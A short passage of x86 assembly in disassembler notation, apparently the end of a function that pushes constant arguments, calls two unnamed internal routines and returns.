mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
push 0
push 0x1c5c
push dword [ebp - 0x14]
call fcn.0041c89f
add esp, 0xc
jmp 0x4108eb
push 0
push 0x4511
push 0x4ca2
push 0x92e
call fcn.004097f0
add esp, 0x10
mov esp, ebp
pop ebp
ret